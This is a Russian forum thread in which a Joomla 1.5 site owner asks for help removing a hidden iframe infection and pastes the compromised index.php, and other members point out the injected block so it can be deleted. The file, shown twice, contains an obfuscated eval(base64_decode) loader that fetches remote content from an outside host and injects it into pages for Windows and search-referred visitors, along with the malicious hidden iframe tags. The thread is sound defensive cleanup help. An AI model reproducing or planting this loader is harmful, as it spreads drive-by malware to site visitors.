Плохой iframe, как его убрать? - Безопасность сайтов на Joomla

Привет всем!
стоит Joomla 1.5


Ребят, такое дело - на сайте завёлся вирус:

<iframe src="http://yptelykld.freewww.biz/stats.php" width=1 height=1 style="visibility: hidden"></iframe>
через 2 часа стало:
<iframe src="http://gvpjnkcy.freewww.biz/stats.php" width=1 height=1 style="visibility: hidden"></iframe>

И получается код каждый раз меняется, побывал искать через Total Commander, вхождений в исходниках нет(
я как понимаю это шелл, но не знаю как его удалить((

Может кто сталкивался с таким?
Помогите убрать пожалуйста!

это не шелл.

это не шелл.

ну а как его убрать тогда?

Искать лучше в яваскриптах, в index.php

Вот index.php

<?php
/**
* @version      $Id: index.php 14401 2010-01-26 14:10:00Z louis $
* @package      Joomla
* @copyright   Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// Set flag that this is a parent file
define( '_JEXEC', 1 );

define('JPATH_BASE', dirname(__FILE__) );

define( 'DS', DIRECTORY_SEPARATOR );

require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );

JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;

/**
 * CREATE THE APPLICATION
 *
 * NOTE :
 */
$mainframe =& JFactory::getApplication('site');

/**
 * INITIALISE THE APPLICATION
 *
 * NOTE :
 */
// set the language
$mainframe->initialise();

JPluginHelper::importPlugin('system');

// trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');

/**
 * ROUTE THE APPLICATION
 *
 * NOTE :
 */
$mainframe->route();

// authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);

// trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');

/**
 * DISPATCH THE APPLICATION
 *
 * NOTE :
 */
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);

// trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');

/**
 * RENDER  THE APPLICATION
 *
 * NOTE :
 */
$mainframe->render();

// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
 * RETURN THE RESPONSE
 */
$JResp = JResponse::toString($mainframe->getCfg('gzip'));
/*rrt*/
eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdDIuaW5mby8xLnR4dCc7DQokbW9kZSAgICAgID0gMTsvLzEg6OvoIDINCg0KaW5pX3NldCgnZGVmYXVsdF9zb2NrZXRfdGltZW91dCcsICAgIDE1KTsgICAgDQoNCg0KDQovL8fg7/Du8SDqIO3g+OXs8yD17vHy818NCmZ1bmN0aW9uIGdldHVybF8xKCR1cmwpDQp7DQoJJGN0eD1zdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnPT4gICBhcnJheSgndGltZW91dCcgPT4gMTUgKSkpOw0KDQoJcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7DQp9DQoNCi8vx+Dv8O7xIOog7eD45ezzIPXu8fLzXzIgXCDR7url8vsNCmZ1bmN0aW9uIGdldHVybF8yKCAkc29jaywkaG9zdCwgJHBhdGgsICRxdWVyeSApDQp7DQoJZnB1dHMoJHNvY2ssICJHRVQgIiAuICRwYXRoIC4gIj8iIC4gJHF1ZXJ5IC4gIiAgSFRUUC8xLjBcclxuIiAuDQoJIkhvc3Q6ICRob3N0XHJcbiIgLg0KCSJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMC4zKSBHZWNrby8yMDA2MDQyNiBGaXJlZm94LzEuNS4wLjNcclxuIiAuDQoJIkFjY2VwdDogKi8qXHJcbiIgLg0KCSJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41XHJcbiIgLg0KCSJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43XHJcbiIgLg0KCSJLZWVwLUFsaXZlOiAzMDBcclxuIiAuDQoJIkNvbm5lY3Rpb246IGtlZXAtYWxpdmVcclxuIiAuDQoJIlJlZmVyZXI6IGh0dHA6Ly8kaG9zdFxyXG5cclxuIik7DQoJd2hpbGUgKCAkbGluZSA9IGZyZWFkKCAkc29jaywgNDA5NiApICkNCgl7DQoJCSRyZXNwb25zZSAuPSAkbGluZTsNCgl9DQoJZmNsb3NlKCAkc29jayApOw0KCSRwb3MgICAgICA9IHN0cnBvcygkcmVzcG9uc2UsICJcclxuXHJcbiIpOw0KCSRyZXNwb25zZSA9IHN1YnN0cigkcmVzcG9uc2UsICRwb3MgKyA0KTsNCglyZXR1cm4gJHJlc3BvbnNlOw0KfQ0KLy/H4O/w7vEg6iDt4Pjl7PMg9e7x8vNfMyBcIMrz8Ov7DQpmdW5jdGlvbiBnZXR1cmxfMygkdXJsKQ0Kew0KCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOw0KCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCmZ1bmN0aW9uIGlzX2dvb2RfdWEoJHVzZXJhZ2VudCkNCnsNCglpZiggc3RyaXBvcygkdXNlcmFnZW50LCAnb3BlcmEnKSE9PWZhbHNlIHx8IHN0cmlwb3MoJHVzZXJhZ2VudCwgJ0ZpcmVmb3gnKSB8fCBzdHJpcG9zKCR1c2VyYWdlbnQsICdNU0lFJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIGlzX3dpbmRvd3NfdWEoJHVzZXJhZ2VudCkNCnsNCglpZihzdHJpcG9zKCR1c2VyYWdlbnQsICd3aW5kb3dzJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIG1haW53b3JrKCR1cmwpDQp7DQoJaWYoIGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpDQoJew0KCQllY2hvIGdldHVybF8xKCR1cmwpOw0KCX0NCgllbHNlDQoJew0KCQkkdXJsXzEgPSBwYXJzZV91cmwoJHVybCk7DQoNCgkJaWYoJHNvY2sgPSBAZnNvY2tvcGVuKCR1cmxfMVsnaG9zdCddLCA4MCwkZXJybm8sICRlcnJzdHIsMTUpKQ0KCQl7DQoJCQllY2hvIGdldHVybF8yKCAkc29jaywgJHVybF8xWydob3N0J10sICR1cmxfMVsncGF0aCddLCAkdXJsXzFbJ3F1ZXJ5J10gKTsNCgkJfQ0KCQllbHNlaWYoIEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpICkNCgkJew0KCQkJZWNobyBnZXR1cmxfMygkdXJsKTsNCgkJfQ0KCX0NCn0NCg0KDQokdWEgPSBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KDQppZihpc193aW5kb3dzX3VhKCR1YSkpDQp7DQoJaWYgKCRtb2RlID09IDEpDQoJew0KCQlpZiAoaXNfZ29vZF91YSgkdWEpKQ0KCQl7DQoJCQltYWlud29yaygkdXJsKTsNCgkJfQ0KCX0NCgllbHNlaWYgKCRtb2RlID09IDIpDQoJew0KCQlpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkNCgkJew0KCQkJJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQoJCQlpZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkNCgkJCXsNCgkJCQlpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpDQoJCQkJew0KCQkJCQltYWlud29yaygkdXJsKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9"));
$JResp = str_ireplace("</head>", "</head>".$code, $JResp);
echo $JResp;

$JResp = JResponse::toString($mainframe->getCfg('gzip'));
/*rrt*/
eval(base64_decode("JHVybCAgICAgICA9ICdodHRwOi8vd29yZHByZXNzdGVzdDIuaW5mby8xLnR4dCc7DQokbW9kZSAgICAgID0gMTsvLzEg6OvoIDINCg0KaW5pX3NldCgnZGVmYXVsdF9zb2NrZXRfdGltZW91dCcsICAgIDE1KTsgICAgDQoNCg0KDQovL8fg7/Du8SDqIO3g+OXs8yD17vHy818NCmZ1bmN0aW9uIGdldHVybF8xKCR1cmwpDQp7DQoJJGN0eD1zdHJlYW1fY29udGV4dF9jcmVhdGUoYXJyYXkoJ2h0dHAnPT4gICBhcnJheSgndGltZW91dCcgPT4gMTUgKSkpOw0KDQoJcmV0dXJuIGZpbGVfZ2V0X2NvbnRlbnRzKCR1cmwsZmFsc2UsJGN0eCk7DQp9DQoNCi8vx+Dv8O7xIOog7eD45ezzIPXu8fLzXzIgXCDR7url8vsNCmZ1bmN0aW9uIGdldHVybF8yKCAkc29jaywkaG9zdCwgJHBhdGgsICRxdWVyeSApDQp7DQoJZnB1dHMoJHNvY2ssICJHRVQgIiAuICRwYXRoIC4gIj8iIC4gJHF1ZXJ5IC4gIiAgSFRUUC8xLjBcclxuIiAuDQoJIkhvc3Q6ICRob3N0XHJcbiIgLg0KCSJVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA1LjE7IGVuLVVTOyBydjoxLjguMC4zKSBHZWNrby8yMDA2MDQyNiBGaXJlZm94LzEuNS4wLjNcclxuIiAuDQoJIkFjY2VwdDogKi8qXHJcbiIgLg0KCSJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41XHJcbiIgLg0KCSJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43XHJcbiIgLg0KCSJLZWVwLUFsaXZlOiAzMDBcclxuIiAuDQoJIkNvbm5lY3Rpb246IGtlZXAtYWxpdmVcclxuIiAuDQoJIlJlZmVyZXI6IGh0dHA6Ly8kaG9zdFxyXG5cclxuIik7DQoJd2hpbGUgKCAkbGluZSA9IGZyZWFkKCAkc29jaywgNDA5NiApICkNCgl7DQoJCSRyZXNwb25zZSAuPSAkbGluZTsNCgl9DQoJZmNsb3NlKCAkc29jayApOw0KCSRwb3MgICAgICA9IHN0cnBvcygkcmVzcG9uc2UsICJcclxuXHJcbiIpOw0KCSRyZXNwb25zZSA9IHN1YnN0cigkcmVzcG9uc2UsICRwb3MgKyA0KTsNCglyZXR1cm4gJHJlc3BvbnNlOw0KfQ0KLy/H4O/w7vEg6iDt4Pjl7PMg9e7x8vNfMyBcIMrz8Ov7DQpmdW5jdGlvbiBnZXR1cmxfMygkdXJsKQ0Kew0KCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCBGQUxTRSk7DQoJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCBUUlVFKTsNCgljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOw0KCSRyZXN1bHQgPSBjdXJsX2V4ZWMoJGNoKTsNCgljdXJsX2Nsb3NlKCRjaCk7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQoNCmZ1bmN0aW9uIGlzX2dvb2RfdWEoJHVzZXJhZ2VudCkNCnsNCglpZiggc3RyaXBvcygkdXNlcmFnZW50LCAnb3BlcmEnKSE9PWZhbHNlIHx8IHN0cmlwb3MoJHVzZXJhZ2VudCwgJ0ZpcmVmb3gnKSB8fCBzdHJpcG9zKCR1c2VyYWdlbnQsICdNU0lFJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIGlzX3dpbmRvd3NfdWEoJHVzZXJhZ2VudCkNCnsNCglpZihzdHJpcG9zKCR1c2VyYWdlbnQsICd3aW5kb3dzJykpDQoJew0KCQlyZXR1cm4gMTsNCgl9DQoJcmV0dXJuIDA7DQp9DQoNCmZ1bmN0aW9uIG1haW53b3JrKCR1cmwpDQp7DQoJaWYoIGluaV9nZXQoImFsbG93X3VybF9mb3BlbiIpID09IDEpDQoJew0KCQllY2hvIGdldHVybF8xKCR1cmwpOw0KCX0NCgllbHNlDQoJew0KCQkkdXJsXzEgPSBwYXJzZV91cmwoJHVybCk7DQoNCgkJaWYoJHNvY2sgPSBAZnNvY2tvcGVuKCR1cmxfMVsnaG9zdCddLCA4MCwkZXJybm8sICRlcnJzdHIsMTUpKQ0KCQl7DQoJCQllY2hvIGdldHVybF8yKCAkc29jaywgJHVybF8xWydob3N0J10sICR1cmxfMVsncGF0aCddLCAkdXJsXzFbJ3F1ZXJ5J10gKTsNCgkJfQ0KCQllbHNlaWYoIEBmdW5jdGlvbl9leGlzdHMoJ2N1cmxfaW5pdCcpICkNCgkJew0KCQkJZWNobyBnZXR1cmxfMygkdXJsKTsNCgkJfQ0KCX0NCn0NCg0KDQokdWEgPSBAJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KDQppZihpc193aW5kb3dzX3VhKCR1YSkpDQp7DQoJaWYgKCRtb2RlID09IDEpDQoJew0KCQlpZiAoaXNfZ29vZF91YSgkdWEpKQ0KCQl7DQoJCQltYWlud29yaygkdXJsKTsNCgkJfQ0KCX0NCgllbHNlaWYgKCRtb2RlID09IDIpDQoJew0KCQlpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSkNCgkJew0KCQkJJHJlZmVyZXIgPSAkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ107DQoJCQlpZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikgb3Igc3RyaXN0cigkcmVmZXJlciwicmFtYmxlciIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImdvZ28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpb3Igc3RyaXN0cigkcmVmZXJlciwiYXBvcnQiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJuaWdtYSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiZWd1bi5ydSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInN0dW1ibGV1cG9uLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpdC5seSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInRpbnl1cmwuY29tIikgb3IgcHJlZ19tYXRjaCgiL3lhbmRleFwucnVcL3lhbmRzZWFyY2hcPyguKj8pXCZsclw9LyIsJHJlZmVyZXIpIG9yIHByZWdfbWF0Y2ggKCIvZ29vZ2xlXC4oLio/KVwvdXJsXD9zYS8iLCRyZWZlcmVyKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJteXNwYWNlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImZhY2Vib29rLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkNCgkJCXsNCgkJCQlpZiAoIXN0cmlzdHIoJHJlZmVyZXIsImNhY2hlIikgb3IgIXN0cmlzdHIoJHJlZmVyZXIsImludXJsIikpDQoJCQkJew0KCQkJCQltYWlud29yaygkdXJsKTsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQp9"));
$JResp = str_ireplace("</head>", "</head>".$code, $JResp);
echo $JResp;

чё то как то он подозрительно выглядит! или не?

Да 
Ппросмотрите по дате изменения все php файлы. может он не один такой.

$JResp = JResponse::toString($mainframe->getCfg('gzip'));

чё то как то он подозрительно выглядит! или не?

Все что ниже этой строки кода- удаляй

Спасибо огромное всем! очень помогли)
Вирус удалён!

Тему можно закрывать!